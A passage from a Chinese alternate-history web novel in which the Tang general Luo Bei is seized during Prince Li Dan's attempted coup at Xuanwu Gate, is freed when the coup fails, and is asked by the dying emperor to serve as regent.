那黎族小伙子犹疑片刻,道:“我听闻是薛讷薛将军。” 众人对视一眼,脸上都不约而同地露出愁色,以德高望重,但素来和洛北不太对付的薛讷暂代洛北父亲的职位,皇帝心中的亲疏远近可见一斑。 哥舒亶在薛讷手下打过仗,听到这个任命更是长长叹息一声: “大汗,这个长安,不回也罢。” 洛北见众人面露愁容,只笑道:“回不回长安,又不是我说了算,我同诸位打赌,陛下急召我回朝的金牌已经在路上了。” 他顿一顿,金棕色的眼眸扫视帐中一圈:“倒是左贤王,应当和我们在此分手,不该和我们去长安。” 阙特勤对大唐政事不如他们精通,但看众人的神情也能明白,这一去前途莫测,恐有危险。他没有多想,几乎片刻之间就开口道: “那你就不要当我是突厥左贤王,就当我是你的亲卫队长阿阙将军好了。” 他这话坦诚直率得可爱,帐中顿时哄笑一片,倒把前途未知的紧张感冲淡不少。 众人之中,只有洛北脸上一点笑意也没有——他依旧是那样平静的、无悲无喜的神情,好像眼前不是回到长安的归途,而是一场大仗。 他说:“我不能让你去冒险。” 洛北决定的事情,从来无从更改,便是阙特勤也改变不了他的意志。 于是次日清晨,重新换回突厥左贤王华服的阙特勤与他的挚友兼兄弟,大唐将军洛北在乌鞘岭的山间告别。 彼时春雪消融,裸露的黑色山岩像巨龙的脊骨。山风依旧料峭逼人,吹得阙特勤一头散下的辫发胡乱飞舞。他仰头喝干一杯送行之酒,拍了拍洛北的手臂: “不要悲伤,乌特,祆神曾经应允我的愿望,在你我的那场赛马未决出胜负之前,我们一定还能再见。” 洛北轻轻笑了,也抬手按上他的肩膀:“漠北风大,你自己小心。” 阙特勤哈哈一笑,转而走向山巅,张开双臂拥抱狂风:“我有功业如此,何惧区区春风?” 他转过身来,郑而重之地以突厥话向洛北许诺:“如果长安真的没有你的容身之所,就回草原上来吧。你永远是草原上最值得追随的君主。” 洛北只是笑了,没有回答他的话。可直到阙特勤的队伍走出好远好远,他还站在山巅不肯离开。 众人无奈,最后还是褚沅爬上山坡去请他:“阿兄若真舍不得阙特勤将军,何不就让他以你亲卫队长的身份留在你身边?” “我本来想让他去长安,是想借此机会谈一谈突厥内附的事情。”洛北道,“若是突厥肯再度内附,北边压力顿减,朝廷也不用在漠北沿线屯以重兵了。可现在我们自顾不暇,就不要谈经略塞外的事了。” 褚沅看他眼眸中似乎有眸光微动,知道他的悲伤并不都来自于国事,只笑笑地扯了扯他的衣袖:“阿兄若是难过,也可以哭出来的。” “我不是难过。”洛北微微皱眉,似乎在想如何表达,“我只是突然想到,他一走,若是我在长安碰到有人要矫诏来杀我,便没有人能与我背靠背地杀出重围了。” 褚沅有些惊奇:“阿兄在朝中民间都是深孚众望,又素有‘大唐军神’之名,怎么会有人敢这样做?” 洛北笑了一声,金色的眼眸中不辩悲喜。 他没有回答她的这句话。 离开凉州之后,队伍转向东南,向平原行进。 洛北率队沿着干涸的河床行进,马蹄踏过龟裂的黄土,扬起细碎的尘烟。他手中的地图上标记得很清楚,这是条渭水的支流—— 然而往年的春水涨潮不见踪迹,裸露的河床上只留下几具被晒干的鱼骨架,在猛烈的阳光下散发着干焦的气息。 “不对啊,节气该有杏花雨了。”王训用马鞭挑起一株枯黄的麦苗,根系带出的土块簌簌崩落,“伯克,你看……表土三寸之下不见半点湿气。” 褚沅忽然勒马。道旁跪着十几个蓬头垢面的农夫,正用陶罐收集石缝里渗出的浑水。最年长的老者膝行至洛北马前,额头重重磕在开裂的田垄上:“求将军开恩,给娃娃们留口水喝吧。” 还没等王训回头去征询洛北的意见,洛北已翻身下马。他的皮靴陷进松软的浮土,靴筒转眼蒙上黄尘。 “老丈请起。”他解下自己的水囊,递给对方,“这样的旱情持续多久了?” “开春就没落过半滴雨。”老者颤抖的手指指向天际,那里是一片晴空万里的蓝。 浑浊的泪顺着老人沟壑纵横的脸淌了下来:“麦子抽不出穗,桑树长不出叶,春耕还不知道什么时候才能成……” “将军请看。”褚沅接过老人手中的木棍掘开田垄,土中排列着不少虫卵:“冬日不雪,春日不雨,按着这个势头,是要起蝗灾的。” 仿佛印证她的话语,几只灰褐色的飞虫撞在洛北的衣袍下摆,他拈起一只尚在抽搐的蝗虫,金棕色的瞳孔骤然收缩——虫腹鼓胀如枣,这正是产卵前的征兆。 当夜他们就驻扎在这村外,在破旧崩塌的土地庙旁寻了个平坦地方。洛北似乎起了怀古的兴致,穿过破旧的前堂,独自来到没有神像的祭坛前,看着那只倾颓的社稷坛。 月光将他的影子拉得很长,投在地上,就像一片无言的峰峦。 “阿兄在看什么?”褚沅在他身后问他。 那山峰忽而活了过来,洛北转过身,定定地望着褚沅,口中的话语却很有些答非所问:“我没有时间了。” “阿兄说什么?” “我没有时间陪他们穷耗这些权谋上的把戏。”自战争结束之后,洛北语气难得冰冷到如此地步,“明日起,下令全速返朝。” “他怎么会回来得这么快!”相王李旦再度得到消息之时,洛北距离长安已经不到十日路程了。 李成器恭敬地回答他:“父王,洛北出身边地,长于鞍马,这样快,本就不是件不可能的事情啊?” “可这队伍里不是只有他自己!还有金城公主、还有虞国夫人褚沅、更重要的是,还有吐蕃的请婚使!”李旦道,“他敢把路程压得如此之紧,竟连公主的情况都不考虑了吗?” 李成器道:“只要他一口咬死了不知公主身份,只是归心似箭,公主又能如何?反正公主总是要到吐蕃去的。” “你说的不错,可他提前回来,会让我们原本紧张的计划更加紧张!李多祚那怎么说?他不肯帮助我们?” 李成器摇了摇头:“李多祚位极人臣,久得陛下信任,又已是朝廷郡王,我们能给的条件,他都已经拥有。高仙芝面上愿意合作,内心却未必愿意对抗这位大唐军神……” “不能这样想。”李旦轻轻打断他的话,他长长地呼出一口气,算是把胸中郁气一吐而出:“若你也把他当成大唐军神,那你也不会相信禁军之中竟然有人敢反对他。” 李成器只得道礼:“父亲教训得是,是儿子思虑不周了。” “父子之间,本没有这许多客套。对了,你那堂弟如何?可已经做好了冲击宫门的打算了?”李旦又问。 李成器还未答话,门外已经有人走了进来,那人躬身道礼:“我奉谯王之命请相王殿下过府一叙。” “有何要事?”李旦板起面容,极为严肃地问。 “府中来了个客人,自称是右羽林军将军,郝灵荃。” 第265章 “陛下为什么非要把朝政托付给相王呢?” 相王李旦到达李重福府邸的时候, 郝灵荃已经起身告辞了。府邸里只有李重福独自坐在花厅里等他的王叔。 李旦对这位侄儿并不亲近,他也听过那个故事——据说当年就是因为李重福向女皇告密,才让李重润、李仙蕙和武延基三位李武两家年轻一代中关系最好的子弟死于非命。 但棋下到了这一刻, 已经没有半途而废的道理。他还是温声喊了一声这个侄子: “重福。火急火燎地找我来, 所为何事?” 李重福站起身,脸上一片意得志满的笑容,话语里还故意藏着点谦虚道:“相王叔……这可真是件让我犯难的事。郝灵荃说,他有意同我们合作。” 相王微微眯了眼睛:“你说什么?他怎么会知道我们的谋划?” “这些日子我的长史常在禁军中进出,许是被他发现了端倪。”李重福道, “相王叔放心,是他先表明的来意。若他想回头背叛我们,他自己在圣上那里也脱不了干系!” “陛下如今病成这个样子, 他无论如何都能蒙混过关。”李旦道,“问题的关键在于洛北……你难道不知,他之前曾是洛北的下属?” “我如何不知?”李重福微微涨红了脸, “郝灵荃是个坦荡的人, 已经把一切都告诉了我。他与如今红得发紫的凉州都督郭知运都是洛北的亲卫出身,论文治武功,都不在郭知运之下。结果郭知运率先立了大功,成了上柱国, 如今官至三品。他却在长安城中蹉跎,甚至左卫将军的位置也没能保住……他是怨恨洛北偏心, 也怨恨世道无眼。” 李旦脸上还是一片怀疑之色:“四品中郎将的位置他还不满足,他想要什么?” “十二卫大将军呗!再说,当年他献上默啜首级有功, 朝廷本就要给他一个大将军的官职,是洛北以他只是经略部族, 不曾上阵杀敌为由拦住了。”李重福道,“我那个好弟弟如此信任洛北,只要洛北尚在一日,他就永远翻不了身。” 李旦沉吟片刻,内心还是举棋不定:“改朝换代的事情。他只要个十二卫大将军就能打发了?这话你也信?” 李重福摇了摇头:“我当然不信,不然也不会请相王叔来了。我猜想,他对洛北有怨气是真,但对我们也未必全说了真话。但相王叔请想,他在洛北的父亲阿史那献手下做了这么久的中郎将,竟没露出一点不满的端倪。这份忍耐便是非常人能及的。” 他这几句话说得还有一点道理,李旦沉吟片刻,也摸不准郝灵荃的路数:“那你就试探试探他。叫他给一份宫中的关防图来。” 李重福不解其意,张了张口似乎还要问什么。相王已经一摆手:“若他真是洛北派来试探我们的探子,绝不敢把真东西给到我们面前。可若是他给了咱们真的关防图,再想要转头背叛我们,就没那么容易了。” 李重福这些日子已对他服服帖帖,闻言也笑道:“还是相王叔高明!仅凭勾结亲王这一项罪名,就够压死了他。” 相王也笑了,他转过身看向园圃,几朵红花正在阳光下吐露笑颜。 多晴朗的日子,他还记得,他的三子李隆基被迫自杀之时,也是这样一个日子。 当时李隆基、刘幽求等一干人等皆在政变失败之后交由三法司定罪,他上下打点,使尽了一切能用的手段,花光了自做“皇帝”以来积攒的全部威望,才求到三法司的从轻发落: 三法司的官员也不愿审讯皇亲,只以李隆基年少,受人蒙蔽为由,要求把李隆基的皇亲身份夺去,把他流往偏远的岭南。 岭南多瘴气,对于皇亲来说,是太委屈了,但这样做,到底能留下李隆基的一条性命。何况李旦已经做了准备,等到诏命一下,就把李隆基安置在岭南的旧友家中。 可这个判决,被皇帝李重俊用朱笔打了回来。 皇帝御笔批示一下,一切都无可挽回。他不得已看着那个与他面目相似的孩子脱下郡王的紫金袍服,只穿了一身待罪衣裳被拉过回廊,监刑的宦官捧着金盘步步紧逼 时至今日,李旦依旧记得自己喉间涌起的铁锈味,他几乎要撕碎那道诏书——直到儿子用目光截住他的冲动。李隆基脊背挺得笔直:“父王,罢了。” 语气里是平静,是难过,也是……无奈。 “成王败寇,这一局,是我输了。”李隆基声音平静,他端起酒杯,一饮而尽。 这一幕几乎成了李旦的梦魇,他看见儿子仰颈饮鸩时喉结滚动的弧度,看见白玉酒盏摔碎时溅起的晶莹,看见那少年倒下去时犹带讽意的唇角。 最痛的是李隆基最后那句含血的耳语,那时李隆基的神智已经涣散,双目中却流出了血泪,口中只反复念着一句话:“父王,为什么?” 为什么他曾经是皇帝,是皇嗣,最终却让别人主宰了自己的命运? “相王叔?”李重福的呼唤将李旦拽回现实。他惊觉自己掌心已被掐出血印,庭前红花开得愈艳,愈像三郎咽气时唇边那抹朱红。 “先这样办,我们时间不多了。” 这日晚间,洛北也率队匆匆赶到了渭水河畔。吐蕃来的请婚使和金城公主的车驾都被他们远远地甩在了身后。 在率队出发之前,他把金城公主交给王翰看护,又把王训留在后队中稳定局势:“我把公主的安全交给你了,你要小心些。” 王训抱拳道礼。他已经从青海的血与火中得到了锻炼,知道该如何处置一支军队,如何打赢一场战争,也知道了如何处置一件事务:“是,我带卫队留后,请将军放心。” 洛北递给他一个心照不宣的眼神。金城公主却没看清楚他们之间打的这套哑谜,依旧是狐疑地盯着他: “将军不同我们一道进城吗?” “今晚有客人来拜访。”洛北温声回答她,“我不便打乱他们的规划,还是请公主慢行一步吧。” “我竟不知道洛将军何时有了算卦的本事。” 金城公主嘴上不饶,脚下却没有放慢半步,她几步坐回马车之中,又像想起什么似的把头探出窗外: “洛将军,你会平安无事吧?” 洛北只是轻轻一笑,没有回答她。 直到日落之前,天色都是一片晴朗。但太阳沉下山没多久,阴沉沉的乌云就布满了天空。豆大的雨水砸在窗台上,发出噼里啪啦的声响。 洛北拿着一本大食书籍放在手边,却没有真的在读那些晦涩难懂的大食文字,只是盯着书页发愣。 褚沅从外间走进来,替他虚掩上半扇窗户:“阿兄,这春雨都把衣服打湿了,你小心着凉。” “无妨。”洛北向她伸出手:“那封衣带诏,你可替我带来了?” 褚沅颔首,从怀中掏出一份封得严密的信封,自信封之中抽出了那张明黄绢片:“是,阿兄要这做什么?这原是陛下给太平公主的东西。” “不。”洛北接过那封诏书,塞到了自己怀里:“我也是最近才想明白,这封诏书就是给我的。” “什么人?”“干什么?” 他们说话之间,外头传来驿馆的看守士兵阻拦起不速之客的声响,洛北骤然起身,右手已经按在了刀柄上。 借着窗外照进来的一点微光,褚沅这才发现,她这位泰山压顶而面不改色的兄长今夜竟然在袍服内衬了软甲。 她不由得也紧张起来,起身正要说话,洛北已把气息一松:“孝嵩怎么来了?” 吏部侍郎,奉命参知政事的张孝嵩立在门前,一头一身的水。他脱下蓑衣,里头的便服也湿得能拧出水来,分外狼狈。 洛北让褚沅只得从自己的包裹中取出一套新衣给他,还没开口发问,张孝嵩已经开口:“我就知道你要回来趟这趟浑水,特地派了仆人在长安的要道上等候,果然,你回来得比我想象的还要快得多。” 洛北轻轻叹了口气:“长安城中现在怎么样?” “还用问么,陛下病重,相王监国。如今相王都快把长安城的守卫换成自己人了。”张孝嵩摇了摇头:“他不去政事堂和我们这些宰相议政,倒是天天往李重福那里跑。两个人不知在偷偷摸摸些什么。” 洛北思索片刻:“可我记得,陛下是有儿子的吧?” “有,还有一个是皇后所生。可都年幼无知——一旦陛下驾崩,只怕这几个孩子的性命都未必保得住。” 张孝嵩说到此处,又不禁痛心起来: “朝中有萧至忠、宋璟、姚崇,地方有你、郭元振、张仁愿,陛下为什么非要把朝政托付给相王呢?” 褚沅走过去,替他理了理因为穿得太潦草而乱成一团的衣襟:“所以张相公此来,是劝洛将军不要回长安的?” “是,就算要回去,也不急于一时。”张孝嵩道:“你身边有吐蕃的请婚使、有青海归来的护卫队,有他们相随,会安全得多。” 洛北轻轻笑了,金棕色的眼眸在夜光里有一点明亮的光:“请婚使和卫队俱是声势浩大,如若相王在我们回朝之前就抢先下手呢?” 张孝嵩目光一凛:“你是说,相王想做皇帝?” “他对皇位未必有那么大的兴趣,但你不要忘了,最近与相王走得极近的李重福,正是中宗的庶长子。真按照宗法规矩来论,怕是李重福更应该继位” “洛北!”张孝嵩急忙开口打断,“这话以后不要再说,你可知” 他的话语戛然而止,檐角铜铃在雨中发出细碎的呜咽,却盖不过那由远及近的轰鸣——马蹄铁撞击石板的声音像闷雷,在这个雨夜中分外分明。 “包围驿馆!” “活捉洛北!” 第266章 “只要玄武门一破,我的脑袋就会被你拿来祭旗。我只是好奇,谁肯为你为此大逆不道之事。” 步伐移动的声音接连弯弓搭箭的声音轮番传来, 几乎连雨水声都盖了过去。一队队明火执仗的士兵涌入驿馆内,把这个狭小的房间挤得水泄不通。 有人在队列之后高声诵读军令:“奉监国之命,碛西镇守使、碎叶郡王洛北犯上作乱, 罪不容诛, 即刻押送三法司会审。” 这是个分外熟悉的声音……褚沅错愕地站起身,要往洛北身前挡,却被洛北不动声色的前移挡住了去路。她眼睁睁地看着裴耀卿笼着手走入房间中,歪了歪头看着她:“褚夫人现在可后悔没有在青海杀了我?” “裴耀卿!你想干什么!”张孝嵩勃然大怒,当即拍案而起, “你是监军御史,理应同大军主帅同进退!” “张相公,你错啦, 监军御史是朝廷派往军中的耳目,我们应当把大军主帅的一切都及时上报,留待朝廷处置才是。”裴耀卿反驳他, “但你和洛北过从甚密, 甚至卷进了他谋朝篡位的阴谋里,简直罪不容诛!” “裴御史这顶帽子扣得倒是顺溜。”洛北按住刀柄的手指微微发白,“只是不知这‘谋反’二字,是要写给圣人看, 还是写给相王看?” “洛将军,现在你还想负隅顽抗——”裴耀卿道:“以一挡十, 你或许可以,以一敌百,还带着你的两位心腹, 恐怕不太容易吧?” 他突然提高声调:“交出兵刃,束手就擒, 或许我可以饶你一命。” 屋内甲士齐刷刷抽刀,寒光映得雨幕都凝滞了。洛北看了一眼屋内外密密麻麻的人头,从腰间取下那把陨铁唐刀,径自扔在了地上:“裴御史未免把话说得太大了,在这里杀了我,你就不怕相王的故事圆不起来?” 裴耀卿一怔,很快反应过来:“哦?洛将军知道了什么,我愿闻其详。” “相王指我为逆贼,要以平叛之名行改朝换代之实。若你在这渭水馆驿杀了手无寸铁的我,只怕将来史官笔下如刀,不肯饶你。”洛北道。 裴耀卿抚掌而笑,青袍下摆被穿堂风掀起涟漪:“不简单呐,洛将军。真不愧是历经数次宫变而不倒的人物。我们还是太小看你了。但你实在是太自大了些——如果你不是为了抢时间孤身回京,今日我们也没有这么容易抓到你。” 他说罢,又转向张孝嵩:“张相公少年得志,不到四十岁就官拜宰相,何必跟着洛北一道陪葬,如今你要弃暗投明,还来得及。” “无耻小人!”张孝嵩怒骂道。 “说不通就罢了,卸下他的兵刃,把他也绑起来。”裴耀卿貌似不在意地挥了挥手,“至于褚夫人……我和她还有些恩怨没了结。” 裴耀卿话音未落,两名披甲力士已钳住褚沅双臂。她腕上玉镯撞在铁甲发出脆响,在地板上碎成一地。 洛北刚要动作,十六把横刀已架住他与张孝嵩的脖颈。 “洛将军最好安分些。”裴耀卿抚过腰间鱼符,“相王特许本官先斩后奏,您猜这驿馆内外,埋了多少火油?” “裴御史,朝堂争斗,不必把一个无辜的弱女子牵扯进来。” “洛北,这样的话你自己相信吗?无辜的弱女子?呵,崔湜是怎么死的?相王和李隆基在宫中的耳目又是被谁清洗一空的?这个女人手中的人命没有一千也有八百。如今是因果报应,叫她落到了我的手里。” 洛北脸色一沉,他手臂发力,要挣开绳索。但褚沅忽而上前半步: “让我去吧,阿兄。”她金步摇上的珍珠在张孝嵩惊愕的目光中簌簌颤动——这是她第一次在众人面前主动挑明两人的关系,“我知道相王想要什么。” 裴耀卿眯起的眼缝里闪过一丝意外。他抬手制止要上前绑人的校尉,亲自解下披风罩在褚沅肩头:“夫人请。” 风雨如瀑,几人穿过连廊,身上的衣裳就已经湿了。裴耀卿拉过一把椅子,与褚沅对面而坐。相王的士兵站在门前,静静地等着他们谈完。 “夫人是个聪明人。”裴耀卿轻声道:“在青海时,我真的因为夫人和我说的那番话怀疑了很久。直到后来接到相王书信,我才明白,他没有不信任我,只是误判了——其中根源,怕和你脱不了干系吧?” 褚沅轻轻笑了:“看来你还不算太笨。” “我想知道,当时你远在青海,又分身乏术,怎么能误导万里之外的相王的判断?”裴耀卿问。他几度复盘,遇到这个症结时都想不明白,即使有女皇留给她的底子,褚沅又怎么可能把一切都料明呢? 褚沅道:“自然是靠陛下配合了。当时洛将军以重病推辞不朝,陛下对他也有些微词。以相王的性格,绝对不会觉得阿兄为了打赢一场战争敢欺君——所以,两相映证,相王只会觉得你的信件不可靠。” “真是高明。”裴耀卿仰天长笑了一声:“若不是相王误判,今天我们也不会被迫匆匆举事,他只需要推波助澜即可。不过,算无遗策的褚夫人可曾想到,今日自己会成为我的阶下囚?” 褚沅没有正面回答他的话,只是独自起身,走到窗边,看着雨幕落下:“我能猜到相王的命令,他要你问出窦、刘二妃的下落之后就杀了我。” 裴耀卿怕她还有后手,立刻起身跟在她身后,一只手已经按在了腰间的匕首上。 “你打算怎么杀我?”褚沅恍若不觉,只是问道。 裴耀卿犹豫片刻,还是从怀间拿出一只瓷瓶,倒进桌上的茶盏之中:“你应当见过此物。” “当年女皇杀窦、刘二妃时用的便是此物。我处决我的前任姐姐时,用的也是此物。”褚沅眸光低垂,惨白的脸上竟露出一点可称为悲悯的表情:“裴耀卿,你真不怕自己也会走上我们的道路吗?” “你又何必故技重施,想要挣扎求生吗?”裴耀卿越过她半步,砰地一声,关上了窗:“想活命,可以。告诉我你手中那张‘网’的名册在何处——” 褚沅轻轻笑了:“我真是不明白,为什么你们都以为这样的东西,仅靠一张名册就可以驾驭。”她劈手夺过裴耀卿手中的茶盏,将杯中之物一饮而尽:“刘、窦二妃的尸首都在太液池底——就请相王登基之后,自己去找吧。” 裴耀卿还要问什么,她已经闭上双眼,身体一松,随即滑倒在地,不省人事。裴耀卿怔怔地半跪在她身边,脸上神情复杂,不知是悲伤,还是得意。 “请典史退后,让卑职验尸。”卫兵大步进了房间,抱拳道礼,见裴耀卿不接茬,又补了一句:“这是,相王的命令。” “退下!”裴耀卿突然厉喝,他站起身,解下蹀躞带上的玉佩掷在尸身前:“本官是相王府典签,追随相王多年,需要尔等教我怎么复命?” 雨幕外突然传来马匹嘶鸣。二十重甲骑兵破门而入,为首者高举相王府令牌:“奉王命,即刻押送逆犯入宫!” 相王府兵马紧急护送着马车疾驰在官道上,车上的张孝嵩和洛北都被蒙着双眼。裴耀卿也一言不发,只怔愣地望着马车之外的雨景。 马车离宫城越近,金戈铁马的厮杀之声就越近。洛北轻轻叹了口气:“又是玄武门,看来你们已经控制了南衙禁军,是不是?” 裴耀卿被他打断思绪,闻言却饶有兴致地望了过来:“你能知道我们在往何处去?” “路程,渭水馆驿到长安各门路程不一,以如今这个路程,除了玄武门,没有第二种可能。”洛北道:“再说,我还记得,当年神龙政变,便是相王率领南衙禁军杀入宫中。” 裴耀卿摇了摇头:“当年郭元振出走河东,临行前曾经嘱咐相王,要小心与你作对。说你绝不是表面上那样不问政事,只求退居碛西,安稳度日的大将军。我们那时都不屑一顾,现在看来,你这位老上级对你的判断可谓恰如其分。可惜,你明白得太晚了。” 他们说话时,马车正在急速掠过玄武门外禁军交战的战场。洛北被蒙住的眼睛突然颤动,他的耳畔传来金属相击的脆响——是横刀劈开甲胄的声音。 “下马!”裴耀卿的声音裹着雨丝传来。洛北被推下车时,雨水瞬间浸透麻布眼罩。透过湿布缝隙,他看见玄武门前火把摇曳如血,金吾卫的玄甲与千牛卫的明光铠绞杀在一处,断矛插在门楼上,缨穗浸饱了血水。 高仙芝横刀立马,站在城楼上高声喝问:“相王真想谋逆不成?!” “高将军何必顽固。”李成器解下腰间鱼符高举,“南衙十六卫已奉诏勤王!” “除了陛下的亲笔诏书,我谁也不认!”高仙芝厉声道:“放箭!” 箭雨飞舞的声音破空而来,张孝嵩下意识地要躲,却意识到洛北正在他身侧,岿然不动,就像他们在碛西常见的苍茫雪山。张孝嵩心底那一点勇气又涌了出来,他站直了身体:“裴御史打算在这里杀了我们?” “不。”裴耀卿指挥下属将他们推到一处殿阁之中,“相王还想见洛将军一次。” 临湖殿的的琉璃瓦在雨中浮现,檐角铜铃被风扯得乱响。殿中烛火通明,映出个清癯身影正在抚琴。 裴耀卿一把扯下洛北蒙眼的布条,把他推入沉香氤氲的殿中,相王李旦站起身,与自己的这位阶下囚对视: “洛卿,别来无恙。” 洛北站直身体,与他对视,丝毫不减半分傲气。他金棕色的眼眸中甚至带着一点惋惜:“相王殿下还是走到了这一步。” “现在的情形,恐怕轮不到你一个阶下囚来对我发威吧?”李旦自琴后起身,走到他面前:“洛北,我是真心欣赏你这个人才。当年郭元振曾为你我盟秦晋之约,如今这未成的婚约依旧有效——只要你点头,归顺我麾下,我不仅可以把小女玄玄许你为妻,还可以让你执掌天下兵马。” “殿下只是苦于玄武门久攻不下,想借我这面大纛去压高仙芝罢了。”洛北轻轻叹了口气:“只要玄武门一破,我的脑袋就会被你拿来祭旗。我只是好奇,谁肯为你为此大逆不道之事。” 杀害大唐军神,这几个字是足以压在任何一个大唐军人心头的噩梦。 “好啊。那就让洛将军死得明白些。”李旦转向侧边的帷幕:“郝将军,你可以出来了。” 第267章 “我奉衣带诏讨贼!开门!” 郝灵荃沉默着从相王背后的屏风转了出来, 他身上的铠甲还沾着玄武门的血雨。 张孝嵩简直不敢相信自己的眼睛:“郝灵荃,你是洛北将军的亲卫出身,鸣沙、于阗、碎叶、多逻斯水多少的沟沟壑壑你们都一起闯过来了, 你为什么要背叛他?!” 郝灵荃没有回答张孝嵩的问题, 他单膝跪地,甲片与青砖相撞的声响宛如一击闷雷: “见过公子。” 相王挥袖掀翻了古琴:“郝灵荃,你不要忘了你的家人!” 殿外霎时涌入二十名弩手,机括声如蝗群振翅。 褚沅缓步在他们身后步入临湖殿中,声音冰冷:“我该感谢相王殿下, 若非您特意把郝灵荃的家人囚禁在崇仁坊,我还真不知道该去哪里寻找当年唐隆宫变时的漏网之鱼。” 李旦深深叹了口气,他环顾四周:“你们真觉得, 就靠这些人能敌得过南衙禁军?” “末将王训来迟!” 暴喝声穿透雨帘,身着明光铠的少年将领纵马踏破殿门。他身后三百亲卫铁甲铿锵,手中陌刀组成森冷刀阵, 将相王府亲兵逼得节节后退。 相王手中茶盏砰然坠地, 碎瓷溅起的水花中映出王训手中的陌刀:“南衙十二卫见到洛字大纛已倒戈相向,高将军正在肃清残敌。相王殿下,您输了。” “好啊,好啊, 真是一场好局。”李旦厉声喝问:“阿史那乌特,既然你已经掌握一切, 为什么还要被俘来我面前耀武扬威?” 洛北挣开绳索:“相王殿下,你又错了,布局的人, 从来不是我。” 他快步路过已经颓然坐在地上的裴耀卿,顿一顿脚步, 从裴耀卿腰间取下那把陨铁唐刀:“多谢你放过沅儿。” “发动宫变,是为了对相王的忠诚。放过褚沅,是为了对朋友的信义。”裴耀卿靠在墙壁上,闭目叹息,“到底是陛下棋高一着,我无话可说。” 洛北没有回答他的话,大步走出临湖殿的大门,他纵马狂奔,一路来到玄武门下。 玄武门的大门依旧紧闭。 骨力裴罗高声叫道:“高将军!相王之乱已定,请开玄武门!” 高仙芝道:“骨力裴罗,时局混乱如此,我如何敢信?若非陛下手敕,我不敢开门!” “这个死脑筋。”郝灵荃催马上前,想要和高仙芝争论一番。洛北已从袖中抽出了那封衣带诏,高声喊道: “高将军!我奉衣带诏讨贼!开门!” 片刻的寂静之后,玄武门终于洞开。 洛北打马穿过这数度决定大唐生死的宏伟大门,向紫宸殿的方向走去。 宫门在身后轰然闭合的刹那,雨声突然变得遥远。洛北勒住缰绳,陨铁唐刀顺着湿透的衣摆往下滴水,在白玉阶前洇开淡红色的水渍—— 九重宫阙浸在雨后初晴的月光里,游廊下的宫灯被风吹得明明灭灭。两个宫女提着宫灯从丹凤门转出来,琉璃罩里的烛火映着他们低垂的眉眼,绣着金线的绣鞋踏过青砖上的积水,竟像是踏着云纹飘过。 “洛将军,奴婢等奉命带您进殿。” 洛北微微颔首算作回礼,他翻身下马的时候,袍服里的软甲发出细碎的摩擦声。那两个宫女浑然不觉,只默默引着他走进殿中。 越过第一道门槛的时候,洛北看到值夜的宫女捧着鎏金香炉从殿内转出,鹅黄裙裾扫过台阶上未干的雨水。她们低眉顺目地穿过游廊,仿佛外面的喊杀声不过是场幻梦。 “微臣洛北,叩见陛下。”洛北低身道礼,手边的陨铁唐刀却无处可去,只得依旧放在腰间。 有人从帘幕中走出来,眉眼温婉,声音温和——正是本该在洛阳的上官婉儿:“洛将军,陛下请您自己过去。” 洛北趋步走到皇帝的床榻之前,年轻的君主惨白着一张脸,躺在床上,满脸病容。 见到洛北,他勉强地扯出一个微笑:“本来想打扮得好些再来见你,这身子实在不争气。就这样吧。反正朕再狼狈的模样,你也见过的。” 洛北依旧恭恭敬敬地给他行了个大礼,才起身道:“陛下应当命人收走微臣的兵刃才是。” “兵刃?你想要造反,还需要兵刃吗?”李重俊摇了摇头,拍了拍床沿示意他坐下:“朕猜你还有些疑问未了,你问吧。” “陛下第一次把太平大长公主召回长安时,相王李旦并未谋反。那封衣带诏,就是下给微臣的。”皇帝坦荡如此,洛北也就不和他打那些哑谜,直率发问。 李重俊点了点头:“是,当时我发了那么多道金牌去青海寻你回来,你也不听。没办法,我只好把太平姑妈找回来稳定局势了。那封衣带诏确实也是给你的,当时朕只是要告诉你,相王有反心——没想到却在今日派上了用场。” “当时吐蕃军情紧急如火,微臣实在不敢擅动。”即使光明坦荡如洛北,受到皇帝这样的责问,也不禁低了头:“若不能一举把吐蕃平定下去,只怕” “多的话就不要解释了。朕知道你的性子,你所忠于的不是李唐,而是天下,是不是?” 洛北又要行礼,却被李重俊一把拉住:“朕打算赐你姓李,将你续入李唐宗谱,诏令你临朝辅政,可否?” 洛北一时不解皇帝的意思:“陛下曾经许诺过臣永镇碛西” “这个许诺依旧有效。”李重俊道,“朕也知道你厌倦长安的争斗,只是,朕没有办法。” 他伸出一只手,递到洛北面前:“洛卿,先帝在时,曾经夸过你是神医,你摸摸朕的脉搏,看看朕还有几年好活?” 洛北伸手按在年轻天子的腕间,片刻之后,又收回手:“陛下春秋鼎盛,若善加调养” “你就说真话吧,无妨。”李重俊笑道,“不敢说的话,朕自己说——三个月,最多三个月时光。” “朕的几个孩子都还年幼,莫说担当大任,就连父亲死了,都未必知道是什么意思。”李重俊似乎因为说了太多话耗费了许多精力,此刻靠在身后的软枕上,放慢了语速:“所以朕才要设下这个引蛇出洞的局,要把相王和他密谋集团的那些人一网打尽。” “陛下不该拿自己的安危冒险。”洛北平静地回答他,“若微臣不能及时赶回” “朕相信你。”李重俊打断他的话,“可惜啊,朕信任洛卿,洛卿却不相信朕。” 洛北低头,诚然,若是事后来看,即使发展到了最坏的地步,皇帝有反制的手段——郝灵荃定是奉命与相王接触的,薛讷在见到皇帝本人安好时也未必不会反水,还有高仙芝。只是,只是他抬起头,有些疑惑地问皇帝: “陛下设下此局,难道还是为了逼我回朝,承担重任吗?” 李重俊终于忍不住笑了:“是啊,洛卿,朕欲以你为周公、伊尹,可乎?” 洛北的手指无意识摩挲着刀柄上的花纹,药香和龙涎香连绵的雾气里,他忽而想起碛西草原上的夜晚。那时他枕着弯刀入睡,银河垂落肩头,远比这九重宫阙来得自在。 “这盘棋总要有人来下。”李重俊轻轻叹息道:“朕相信,唯有你这般百战之躯,才撑得起李唐江山的重量。” 陨铁唐刀的刀鞘突然撞上脚踏,洛北这才发现自己的手在抖。他想起碎叶城头猎猎作响的洛字旗,想起多逻斯水畔被鲜血染红的芦苇,想起金山上的冰川和山石,却怎么也想不起最后一次纵马草原是何时。 “臣若不应” “你会应的。”李重俊剧烈咳嗽起来,他擦去唇边的血痕,笑道,“十年来,你荡涤四方,安定庶民,今日又岂会放任天下再起乱局?”他忽然掀开锦被,赤足踩在冰冷地砖上,“眼前这山河万里——哪个不是将士们用命换来的太平?你舍不得。” 洛北闭眼长叹一声,还是开口道:“陛下,微臣可否有几个请求?” “洛卿请讲。” “其一,请陛下准许我在太子年满十四之后回归碛西。” “你要真的这么在意,朕帮你把这条写进遗诏里。”李重俊挠了挠脑袋,“碛西是个什么样的好地方,值得你这样念念不忘?” 